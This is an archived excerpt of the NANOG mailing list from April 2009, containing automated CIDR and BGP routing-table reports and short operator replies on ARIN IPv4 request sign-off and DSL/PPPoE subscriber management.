CHARTER-NET-HKY-NC - Charter Communications 18 - AS8151 41307 0.5% 27.6 -- Uninet S.A. de C.V. 19 - AS9498 41056 0.5% 55.1 -- BBIL-AP BHARTI Airtel Ltd. 20 - AS7643 34446 0.4% 31.2 -- VNN-AS-AP Vietnam Posts and Telecommunications (VNPT) TOP 20 Unstable Origin AS (Updates per announced prefix) Rank ASN Upds % Upds/Pfx AS-Name 1 - AS7717 7985 0.1% 7985.0 -- OPENIXP-AS-ID-AP OpenIXP ASN 2 - AS46653 17208 0.2% 5736.0 -- FREDRIKSON---BYRON - Fredrikson & Byron, P.A. 3 - AS15045 11268 0.1% 3756.0 -- KITTELSON - KITTELSON AND ASSOCIATES, INC. 4 - AS14223 6661 0.1% 3330.5 -- NYSDOH - New York State Department of Health 5 - AS32398 18185 0.2% 3030.8 -- REALNET-ASN-1 6 - AS30423 4072 0.1% 2036.0 -- AMEDI-3-ASN1 - Amedisys, Inc. 7 - AS46328 16488 0.2% 1832.0 -- PTCNEBRASKA - PIERCE TELEPHONE COMPANY, INCORPORATED 8 - AS5050 24819 0.3% 1772.8 -- PSC-EXT - Pittsburgh Supercomputing Center 9 - AS47640 5116 0.1% 1705.3 -- TRICOMPAS Tricomp Sp. z. o. o. 10 - AS40967 1521 0.0% 1521.0 -- CSF-AS CSF Computersoftware fuer Fachanwendungen GmbH 11 - AS9796 3838 0.1% 1279.3 -- WIPRO Internet Service Providers 12 - AS28256 1275 0.0% 1275.0 -- 13 - AS34321 2295 0.0% 1147.5 -- LDK-AS Institute of strategic marks, Kiev, Ukraine 14 - AS21491 32496 0.4% 1048.3 -- UTL-ON-LINE UTL On-line is RF broadband ISP in Uganda - Africa 15 - AS19017 1016 0.0% 1016.0 -- QUALCOMM-QWBS-LV - Qualcomm, Inc. 16 - AS19398 1941 0.0% 970.5 -- INDENET - Indenet.net 17 - AS40344 946 0.0% 946.0 -- PROSK-1 - Pro Sky Wireless 18 - AS34996 874 0.0% 874.0 -- ANADOLUSIGORTA-AS Anadolu Sigorta AS 19 - AS17975 10440 0.1% 870.0 -- APT-AP AS# for peering purpose with IX and ISP. 20 - AS5691 10633 0.1% 817.9 -- MITRE-AS-5 - The MITRE Corporation TOP 20 Unstable Prefixes Rank Prefix Upds % Origin AS -- AS Name 1 - 72.23.246.0/24 24718 0.3% AS5050 -- PSC-EXT - Pittsburgh Supercomputing Center 2 - 41.204.2.0/24 17903 0.2% AS32398 -- REALNET-ASN-1 3 - 199.45.13.0/24 17186 0.2% AS46653 -- FREDRIKSON---BYRON - Fredrikson & Byron, P.A. 4 - 192.35.129.0/24 10828 0.1% AS6629 -- NOAA-AS - NOAA 5 - 222.255.51.64/26 10760 0.1% AS7643 -- VNN-AS-AP Vietnam Posts and Telecommunications (VNPT) 6 - 198.77.177.0/24 10723 0.1% AS6629 -- NOAA-AS - NOAA 7 - 192.102.88.0/24 10685 0.1% AS6629 -- NOAA-AS - NOAA 8 - 192.12.120.0/24 10508 0.1% AS5691 -- MITRE-AS-5 - The MITRE Corporation 9 - 121.101.184.0/24 8030 0.1% AS38785 -- BAGUSNET-AS-ID PT. BORNEO BROADBAND TECHNOLOGY AS7717 -- OPENIXP-AS-ID-AP OpenIXP ASN 10 - 192.135.176.0/24 6651 0.1% AS14223 -- NYSDOH - New York State Department of Health 11 - 202.92.235.0/24 6465 0.1% AS9498 -- BBIL-AP BHARTI Airtel Ltd. 12 - 195.96.69.0/24 6005 0.1% AS8225 -- ASTELIT-MSK-AS Astelit Autonomous System 13 - 193.201.184.0/21 5640 0.1% AS25546 -- BROOKLANDCOMP-AS Brookland Computer Services 14 - 94.124.16.0/21 5033 0.1% AS47640 -- TRICOMPAS Tricomp Sp. z. o. o. 15 - 205.104.240.0/20 4423 0.1% AS5237 -- DODNIC - DoD Network Information Center AS5839 -- DDN-ASNBLK - DoD Network Information Center 16 - 203.169.32.0/24 4299 0.1% AS17975 -- APT-AP AS# for peering purpose with IX and ISP. 17 - 202.154.22.0/24 4230 0.1% AS4434 -- ERX-RADNET1-AS PT Rahajasa Media Internet 18 - 202.154.4.0/24 4230 0.1% AS4434 -- ERX-RADNET1-AS PT Rahajasa Media Internet 19 - 202.154.56.0/24 4208 0.1% AS4434 -- ERX-RADNET1-AS PT Rahajasa Media Internet 20 - 92.123.64.0/22 3929 0.1% AS20940 -- AKAMAI-ASN1 Akamai Technologies European AS Details at http://bgpupdates.potaroo.net ------------------------------------ Copies of this report are mailed to: nanog at merit.edu eof-list at ripe.net apops at apops.net routing-wg at ripe.net afnog at afnog.org From cidr-report at potaroo.net Fri Apr 24 07:00:01 2009 From: cidr-report at potaroo.net (cidr-report at potaroo.net) Date: Fri, 24 Apr 2009 22:00:01 +1000 (EST) Subject: The Cidr Report Message-ID: <200904241200.n3OC01gi084664@wattle.apnic.net> This report has been generated at Fri Apr 24 21:13:59 2009 AEST. The report analyses the BGP Routing Table of AS2.0 router and generates a report on aggregation potential within the table. Check http://www.cidr-report.org for a current version of this report. Recent Table History Date Prefixes CIDR Agg 17-04-09 292288 183122 18-04-09 292580 182677 19-04-09 292736 182860 20-04-09 292576 183243 21-04-09 292958 182956 22-04-09 292769 182911 23-04-09 292923 183618 24-04-09 293508 183392 AS Summary 31191 Number of ASes in routing system 13247 Number of ASes announcing only one prefix 4313 Largest number of prefixes announced by an AS AS6389 : BELLSOUTH-NET-BLK - BellSouth.net Inc. 89678848 Largest address span announced by an AS (/32s) AS27064: DDN-ASNBLK1 - DoD Network Information Center Aggregation Summary The algorithm used in this report proposes aggregation only when there is a precise match using the AS path, so as to preserve traffic transit policies. Aggregation is also proposed across non-advertised address space ('holes'). --- 24Apr09 --- ASnum NetsNow NetsAggr NetGain % Gain Description Table 293332 183149 110183 37.6% All ASes AS6389 4313 361 3952 91.6% BELLSOUTH-NET-BLK - BellSouth.net Inc. AS4323 4272 1717 2555 59.8% TWTC - tw telecom holdings, inc. AS209 2649 1161 1488 56.2% ASN-QWEST - Qwest Communications Corporation AS4766 1802 520 1282 71.1% KIXS-AS-KR Korea Telecom AS17488 1553 301 1252 80.6% HATHWAY-NET-AP Hathway IP Over Cable Internet AS22773 1049 66 983 93.7% ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. AS4755 1229 274 955 77.7% TATACOMM-AS TATA Communications formerly VSNL is Leading ISP AS8452 1248 326 922 73.9% TEDATA TEDATA AS8151 1450 580 870 60.0% Uninet S.A. de C.V. AS1785 1753 911 842 48.0% AS-PAETEC-NET - PaeTec Communications, Inc. AS19262 982 238 744 75.8% VZGNI-TRANSIT - Verizon Internet Services Inc. AS18566 1059 419 640 60.4% COVAD - Covad Communications Co. AS18101 756 150 606 80.2% RIL-IDC Reliance Infocom Ltd Internet Data Centre, AS6478 1368 785 583 42.6% ATT-INTERNET3 - AT&T WorldNet Services AS11492 1163 607 556 47.8% CABLEONE - CABLE ONE, INC. AS855 627 97 530 84.5% CANET-ASN-4 - Bell Aliant Regional Communications, Inc. AS22047 615 111 504 82.0% VTR BANDA ANCHA S.A. AS2706 543 41 502 92.4% HKSUPER-HK-AP Pacific Internet (Hong Kong) Limited AS17908 611 115 496 81.2% TCISL Tata Communications AS7545 808 321 487 60.3% TPG-INTERNET-AP TPG Internet Pty Ltd AS4134 896 413 483 53.9% CHINANET-BACKBONE No.31,Jin-rong Street AS7018 1479 1016 463 31.3% ATT-INTERNET4 - AT&T WorldNet Services AS4808 615 164 451 73.3% CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network AS4804 497 64 433 87.1% MPX-AS Microplex PTY LTD AS24560 682 251 431 63.2% AIRTELBROADBAND-AS-AP Bharti Airtel Ltd., Telemedia Services AS17676 562 138 424 75.4% GIGAINFRA BB TECHNOLOGY Corp. AS6517 678 267 411 60.6% RELIANCEGLOBALCOM - Reliance Globalcom Services, Inc AS7011 958 551 407 42.5% FRONTIER-AND-CITIZENS - Frontier Communications of America, Inc. AS4668 688 282 406 59.0% LGNET-AS-KR LG CNS AS10620 889 493 396 44.5% TV Cable S.A. Total 37794 12740 25054 66.3% Top 30 total Possible Bogus Routes 24.75.116.0/22 AS10796 SCRR-10796 - Road Runner HoldCo LLC 24.245.128.0/17 AS11492 CABLEONE - CABLE ONE, INC. 24.246.0.0/17 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 24.246.128.0/18 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 41.223.112.0/22 AS5713 SAIX-NET 41.223.176.0/22 AS36981 41.223.188.0/24 AS22351 INTELSAT Intelsat Global BGP Routing Policy 41.223.189.0/24 AS26452 BRING-AS - BringCom, Inc. 62.61.220.0/24 AS24974 TACHYON-EU Tachyon Europe BV - Wireless Broadband via Satellite 62.61.221.0/24 AS24974 TACHYON-EU Tachyon Europe BV - Wireless Broadband via Satellite 63.140.213.0/24 AS22555 UTC - Universal Talkware Corporation 63.143.251.0/24 AS22555 UTC - Universal Talkware Corporation 64.31.32.0/19 AS11955 SCRR-11955 - Road Runner HoldCo LLC 64.31.32.0/22 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.36.0/23 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.38.0/23 AS12262 RR-CINCINNATI-ASN-01 - Road Runner HoldCo LLC 64.31.40.0/23 AS12262 RR-CINCINNATI-ASN-01 - Road Runner HoldCo LLC 64.31.42.0/23 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.44.0/23 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.46.0/24 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.48.0/22 AS11060 NEO-RR-COM - Road Runner HoldCo LLC 64.31.53.0/24 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.55.0/24 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.59.0/24 AS7017 SCRR-7015 - Road Runner HoldCo LLC 64.31.60.0/24 AS7017 SCRR-7015 - Road Runner HoldCo LLC 64.79.88.0/24 AS26096 LODDEN - Lodden Services 64.79.89.0/24 AS26096 LODDEN - Lodden Services 64.147.64.0/19 AS40156 THEOPT-HOU - The Optimal Link Corporation 64.186.0.0/19 AS6371 AMERICATEL - Americatel Corporation 64.186.6.0/24 AS6371 AMERICATEL - Americatel Corporation 66.11.32.0/20 AS6261 VISINET - Visionary Systems, Inc. 66.11.40.0/21 AS6261 VISINET - Visionary Systems, Inc. 66.54.91.0/24 AS30506 BLACKSUN-1 - Blacksun Technologies LLC 66.55.160.0/19 AS29994 66.128.38.0/24 AS15246 Telecomunicaciones Satelitales TelesatS.A. 66.180.239.0/24 AS35888 VIGNETTE - VIGNETTE CORPORATION 66.206.32.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.33.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.34.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.35.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.40.0/22 AS174 COGENT Cogent/PSI 66.206.44.0/23 AS174 COGENT Cogent/PSI 66.206.47.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 66.207.32.0/20 AS23011 66.245.176.0/20 AS19318 NJIIX-AS-1 - NEW JERSEY INTERNATIONAL INTERNET EXCHANGE LLC 69.71.192.0/20 AS13818 PHX-INTL-TELEPORT - Phoenix International Teleport 80.88.0.0/21 AS33774 DJAWEB 80.88.8.0/22 AS33774 DJAWEB 80.88.10.0/24 AS33774 DJAWEB 80.88.12.0/24 AS33779 wataniya-telecom-as 83.139.128.0/18 AS6856 IC-VORONEZH-AS IC-VORONEZH 98.96.0.0/13 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 100.100.100.0/30 AS38676 AS33005-AS-KR wizsolution co.,Ltd 109.0.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 109.1.0.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 109.1.24.0/24 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 121.46.0.0/16 AS4134 CHINANET-BACKBONE No.31,Jin-rong Street 121.50.168.0/21 AS9931 CAT-AP The Communication Authoity of Thailand, CAT 122.128.120.0/22 AS38456 PACTEL-AS-AP Pacific Teleports. 137.0.0.0/13 AS27064 DDN-ASNBLK1 - DoD Network Information Center 150.0.2.0/24 AS9730 BHARTITELESONIC-AS-IN-AP Bharti Telesonic Ltd 150.0.3.0/24 AS9730 BHARTITELESONIC-AS-IN-AP Bharti Telesonic Ltd 150.0.11.0/24 AS9730 BHARTITELESONIC-AS-IN-AP Bharti Telesonic Ltd 158.222.5.0/24 AS21580 DIRCON - Direct Connect 158.222.70.0/23 AS6137 SISNA - SISNA, Inc. 158.222.72.0/23 AS6137 SISNA - SISNA, Inc. 158.222.224.0/20 AS19864 O1COMM - O1 COMMUNICATIONS 158.222.224.0/22 AS19864 O1COMM - O1 COMMUNICATIONS 158.222.229.0/24 AS19864 O1COMM - O1 COMMUNICATIONS 163.142.0.0/16 AS2500 WIDE-BB WIDE Project 168.253.0.0/16 AS13649 ASN-VINS - ViaWest 168.253.0.0/21 AS13649 ASN-VINS - ViaWest 172.7.0.0/24 AS28175 172.10.1.0/30 AS18305 POSNET POSDATA Co.,Ltd 178.0.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 178.1.0.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 178.1.24.0/24 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 192.9.0.0/16 AS11479 BRM-SUN-AS - Sun Microsystems, Inc 192.9.200.0/24 AS3602 AS3602-RTI - Rogers Telecom Inc. 192.64.85.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.107.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.108.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.177.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.70.164.0/24 AS25689 NRCNET-AS - National Research Council of Canada 192.96.37.0/24 AS10474 NETACTIVE 192.96.135.0/24 AS2018 TENET-1 192.96.136.0/23 AS2018 TENET-1 192.96.141.0/24 AS2018 TENET-1 192.96.143.0/24 AS2018 TENET-1 192.96.145.0/24 AS2018 TENET-1 192.96.177.0/24 AS6083 POSIX-AFRICA 192.101.45.0/24 AS2905 TICSA-ASN 192.101.46.0/24 AS6503 Avantel, S.A. 192.101.64.0/21 AS702 AS702 Verizon Business EMEA - Commercial IP service provider in Europe 192.101.70.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 192.101.71.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 192.101.72.0/24 AS702 AS702 Verizon Business EMEA - Commercial IP service provider in Europe 192.101.74.0/24 AS1239 SPRINTLINK - Sprint 192.124.248.0/23 AS680 DFN-IP service G-WiN 192.124.252.0/22 AS680 DFN-IP service G-WiN 192.131.233.0/24 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 192.132.58.0/24 AS20141 QUALITYTECH-SUW-300 - Quality Technology Services, LLC. 192.133.6.0/24 AS10282 ORANGE-BUSINESS-SERVICES-CEEUR Orange Business Services (formerly Equant) AS for CEEUR 192.153.144.0/21 AS27064 DDN-ASNBLK1 - DoD Network Information Center 192.154.32.0/19 AS81 NCREN - MCNC 192.188.208.0/20 AS27064 DDN-ASNBLK1 - DoD Network Information Center 196.6.108.0/24 AS5713 SAIX-NET 196.10.119.0/24 AS2018 TENET-1 196.10.122.0/23 AS2018 TENET-1 196.10.251.0/24 AS2018 TENET-1 196.10.252.0/23 AS2018 TENET-1 196.10.254.0/24 AS2018 TENET-1 196.13.101.0/24 AS2018 TENET-1 196.13.102.0/23 AS2018 TENET-1 196.13.104.0/24 AS2018 TENET-1 196.13.121.0/24 AS2018 TENET-1 196.13.125.0/24 AS2018 TENET-1 196.13.126.0/24 AS2018 TENET-1 196.13.169.0/24 AS2018 TENET-1 196.13.174.0/23 AS2018 TENET-1 196.13.176.0/21 AS2018 TENET-1 196.13.192.0/22 AS2018 TENET-1 196.13.196.0/24 AS2018 TENET-1 196.202.224.0/21 AS8818 TELE Greenland Autonomous System 198.1.2.0/24 AS4761 INDOSAT-INP-AP INDOSAT Internet Network Provider 198.23.26.0/24 AS4390 BELLATLANTIC-COM - Bell Atlantic, Inc. 198.54.82.0/24 AS2018 TENET-1 198.54.92.0/24 AS2018 TENET-1 198.54.222.0/24 AS2018 TENET-1 198.73.210.0/24 AS21570 ACI-1 - Accelerated Connections Inc. 198.97.72.0/21 AS27064 DDN-ASNBLK1 - DoD Network Information Center 198.97.96.0/19 AS27064 DDN-ASNBLK1 - DoD Network Information Center 198.97.240.0/20 AS27064 DDN-ASNBLK1 - DoD Network Information Center 198.161.87.0/24 AS6539 GT-BELL - Bell Canada 198.161.92.0/24 AS6539 GT-BELL - Bell Canada 198.167.0.0/16 AS7456 INTERHOP - Interhop Network SERVICES Inc. 198.168.0.0/16 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 198.169.0.0/16 AS803 SASKTEL - Saskatchewan Telecommunications 198.180.198.0/24 AS23715 SEOUL-INTGW-GXS-AP Global Exchange Services 199.5.242.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 199.10.0.0/16 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.19.0.0/24 AS3848 WORLDLINX-2 - WorldLinx Telecommunications, Inc. 199.114.0.0/21 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.114.128.0/18 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.114.130.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.131.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.132.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.134.0/24 AS3541 ITSDN-U4 - DoD Network Information Center 199.114.136.0/24 AS27044 DDN-ASNBLK1 - DoD Network Information Center 199.114.138.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.140.0/24 AS3544 ITSDN-U7 - DoD Network Information Center 199.114.142.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.144.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.148.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.150.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.152.0/24 AS27033 DDN-ASNBLK1 - DoD Network Information Center 199.114.153.0/24 AS27034 DDN-ASNBLK1 - DoD Network Information Center 199.114.154.0/24 AS1733 CENTAF-SWA - 754th Electronic Systems Group 199.114.156.0/24 AS1733 CENTAF-SWA - 754th Electronic Systems Group 199.114.160.0/24 AS1733 CENTAF-SWA - 754th Electronic Systems Group 199.121.0.0/16 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.123.0.0/18 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.123.16.0/20 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.123.80.0/21 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.189.32.0/19 AS7332 IQUEST-AS - IQuest Internet 199.202.0.0/16 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 199.202.216.0/21 AS577 BACOM - Bell Canada 199.246.116.0/24 AS813 UUNET-CANADA - MCI Communications Services, Inc. d/b/a Verizon Business 202.6.176.0/20 AS24316 202.58.113.0/24 AS19161 INNOCOM-TELECOM - INNOCOM TELECOM 202.73.144.0/20 AS4788 TMNET-AS-AP TM Net, Internet Service Provider 202.80.192.0/20 AS2706 HKSUPER-HK-AP Pacific Internet (Hong Kong) Limited 202.86.252.0/22 AS4748 RESOLINK-AS-AP Resources Link Network Limited 202.86.252.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.253.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.254.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.255.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.94.1.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.94.70.0/24 AS2764 AAPT AAPT Limited 202.122.120.0/21 AS17494 BTTB-AS-AP Telecom Operator & Internet Service Provider as well 202.124.195.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.133.70.0/24 AS38616 WORLDCALL-AS-KHI Worldcall Telecom Limited 202.133.73.0/24 AS38616 WORLDCALL-AS-KHI Worldcall Telecom Limited 202.136.254.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.136.255.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.140.160.0/24 AS4841 202.140.161.0/24 AS4841 202.140.162.0/24 AS4841 202.140.163.0/24 AS4841 202.140.164.0/24 AS4841 202.140.165.0/24 AS4841 202.140.166.0/24 AS4841 202.140.167.0/24 AS4841 202.140.168.0/24 AS4841 202.140.169.0/24 AS4841 202.140.170.0/24 AS4841 202.140.171.0/24 AS4841 202.140.172.0/24 AS4841 202.140.173.0/24 AS4841 202.140.174.0/24 AS4841 202.140.175.0/24 AS4841 202.140.180.0/24 AS7540 HKCIX-AS-AP HongKong Commercial Internet Exchange 202.140.181.0/24 AS7540 HKCIX-AS-AP HongKong Commercial Internet Exchange 202.140.182.0/24 AS7540 HKCIX-AS-AP HongKong Commercial Internet Exchange 202.150.227.0/24 AS17727 NAPINFO-AS-AP PT. NAP Info Lintas Nusa 202.181.32.0/24 AS4645 ASN-HKNET-AP HKNet Co. Ltd 203.12.45.0/24 AS4854 NETSPACE-AS-AP Netspace Online Systems 203.62.0.0/17 AS7575 AARNET-AS-AP Australian Academic and Reasearch Network (AARNet) 203.78.48.0/20 AS9299 IPG-AS-AP Philippine Long Distance Telephone Company 203.89.139.0/24 AS17911 BRAINPK-AS-AP Brain Telecommunication Ltd. 203.111.192.0/20 AS7473 SINGTEL-AS-AP Singapore Telecommunications Ltd 203.112.111.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.113.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.114.0/24 AS4802 ASN-IINET iiNet Limited 203.112.116.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.117.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.118.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.119.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.120.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.121.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.127.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.128.128.0/19 AS4134 CHINANET-BACKBONE No.31,Jin-rong Street 203.128.128.0/24 AS23849 CNNIC-NET263-AP Beijing Capital-online science development Co.,Ltd. 203.152.154.0/23 AS9583 SIFY-AS-IN Sify Limited 204.9.216.0/23 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 204.9.218.0/23 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 204.13.140.0/22 AS7270 NET2PHONE - Net2Phone Corp. 204.13.140.0/24 AS7270 NET2PHONE - Net2Phone Corp. 204.13.141.0/24 AS7270 NET2PHONE - Net2Phone Corp. 204.13.143.0/24 AS7270 NET2PHONE - Net2Phone Corp. 204.13.184.0/23 AS35967 204.13.186.0/23 AS35967 204.13.186.0/24 AS35967 204.13.187.0/24 AS35967 204.19.14.0/23 AS577 BACOM - Bell Canada 204.89.214.0/24 AS4323 TWTC - tw telecom holdings, inc. 204.138.167.0/24 AS18990 AIRBAND-DALLAS - Airband Communications, Inc 205.150.0.0/15 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 205.189.134.0/24 AS11814 CYBERSURF - Cybersurf Inc. 205.210.145.0/24 AS11814 CYBERSURF - Cybersurf Inc. 206.180.240.0/20 AS12083 KNOLOGY-NET - Knology Holdings 207.174.0.0/16 AS13790 INTERNAP-BLK3 - Internap Network Services Corporation 207.174.131.0/24 AS30715 NETRACK - Netrack, Inc. 207.174.132.0/23 AS30715 NETRACK - Netrack, Inc. 207.174.151.0/24 AS11500 PEAKPEAK - Peak to Peak Internet 207.174.152.0/22 AS30715 NETRACK - Netrack, Inc. 207.174.158.0/24 AS11500 PEAKPEAK - Peak to Peak Internet 207.174.177.0/24 AS11500 PEAKPEAK - Peak to Peak Internet 207.174.178.0/24 AS11500 PEAKPEAK - Peak to Peak Internet 207.174.182.0/24 AS29831 FONENET - FONE NET, LLC 207.174.188.0/22 AS30715 NETRACK - Netrack, Inc. 207.174.192.0/24 AS29831 FONENET - FONE NET, LLC 207.174.200.0/24 AS22658 EARTHNET - Earthnet, Inc. 207.174.248.0/21 AS6653 PRIVATEI - privateI, LLC 207.204.222.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 207.231.96.0/19 AS11194 NUNETPA - NuNet Inc. 209.54.93.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 209.54.111.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 209.54.123.0/24 AS6062 NETPLEX - NETPLEX 209.54.240.0/21 AS10887 BPSI-AS - BPSI Internet Services 209.74.96.0/19 AS10912 INTERNAP-BLK - Internap Network Services Corporation 209.140.90.0/24 AS14461 NTSL - NET SOLUTIONS 209.141.48.0/22 AS14461 NTSL - NET SOLUTIONS 209.145.192.0/18 AS3043 AMPHIB-AS - Amphibian Media Corporation 209.177.93.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 209.222.5.0/24 AS26699 PSI-CT - Printing For Systems Inc 209.222.6.0/24 AS26699 PSI-CT - Printing For Systems Inc 210.5.128.0/20 AS4837 CHINA169-BACKBONE CNCGROUP China169 Backbone 216.37.114.0/23 AS3549 GBLX Global Crossing Ltd. 216.99.16.0/24 AS6395 LVLT-6395 - Level 3 Communications, Inc. 216.99.20.0/24 AS6395 LVLT-6395 - Level 3 Communications, Inc. 216.172.198.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 216.172.199.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 216.240.240.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.240.241.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.240.242.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.251.207.0/24 AS1239 SPRINTLINK - Sprint 217.78.71.0/24 AS12491 IPPLANET-AS IPPlanet 217.78.72.0/24 AS12491 IPPLANET-AS IPPlanet 217.78.73.0/24 AS12491 IPPLANET-AS IPPlanet Please see http://www.cidr-report.org for the full report ------------------------------------ Copies of this report are mailed to: nanog at merit.edu eof-list at ripe.net apops at apops.net routing-wg at ripe.net afnog at afnog.org From wavetossed at googlemail.com Fri Apr 24 07:12:42 2009 From: wavetossed at googlemail.com (Michael Dillon) Date: Fri, 24 Apr 2009 13:12:42 +0100 Subject: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <05188A4F-4DC1-4118-9210-0AF79836ED22@fattoc.com> References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> <05188A4F-4DC1-4118-9210-0AF79836ED22@fattoc.com> Message-ID: <877585b00904240512r1c2a18e2had6e002de1f1bfba@mail.gmail.com> > Actually, being a CTO of a company, I know that my CEO signs things ALL the > time based just on my say so. I don't see how signing a document for ARIN > would land them in court, further if he were to go to court, he'd simply say > that he relied on the opinions of his technical staff since he does not have > the experience or expertise to evaluate it's validity. And as history shows, > this is an acceptable answer, it happens all the time in the case of > financial filings that others produce for the CEO to sign. It didn't work very well for the CEOs of Worldcom, Enron and Tyco, I think that many company officers will ask to see the results of an audit before they sign this document, and they will want the audit to be performed by qualified CPAs. Are your IPv4 records in good enough shape that an accountant will sign off on them? --Michael Dillon From cmaurand at xyonet.com Fri Apr 24 07:15:36 2009 From: cmaurand at xyonet.com (Curtis Maurand) Date: Fri, 24 Apr 2009 08:15:36 -0400 Subject: Broadband Subscriber Management In-Reply-To: References: <49EF3F5D.6060604@xyonet.com> <200904221107.42362.lesmith@ecsis.net> <49F030A1.7040905@cirruscomms.com.au> Message-ID: <49F1AD68.1000403@xyonet.com> Way back when Verizon first started rolling out DSL, we at a small ISP looked to wholesale ports from them via a deal they were offering. The were simply delivering PVC's to us via ATM on a DS3. 1 for each customer. They were doing the rate limiting based on what we ordered. I was able to use a lucent DSL aggregator for the handoff to our network. PPPoE wasn't necessary. --Curtis Frank Bulk wrote: > I wasn't aware that LECs have the money to provide a DSLAM port per pair. =) > PPPoA/E wasn't invented to prevent DSL sharing (not possible), but was the > result of extending the dial-up approach of PPP with usernames and passwords > to provide end-users IP connectivity. As Arie mentions in his posting, the > separation of physical link termination and session termination, done in the > dial-up world at the time, lent to setting up DSL in the same manner. > > You don't have to read too many commentaries on IRB & RFC 1483 to recognize > that that approach is all that great, either. > > Frank > > -----Original Message----- > From: William McCall [mailto:william.mccall at gmail.com] > Sent: Thursday, April 23, 2009 7:24 AM > To: nanog at nanog.org > Subject: Re: Broadband Subscriber Management > > My understanding of the PPPoA/E deal is that SPs (originally) wanted to > prevent some yahoo with a DSL modem from just being able to hook in to > someone's existing DSL connection and using it, so they decided to > implemement PPPoA and require some sort of authentication to prevent this > scenario. > > > > > 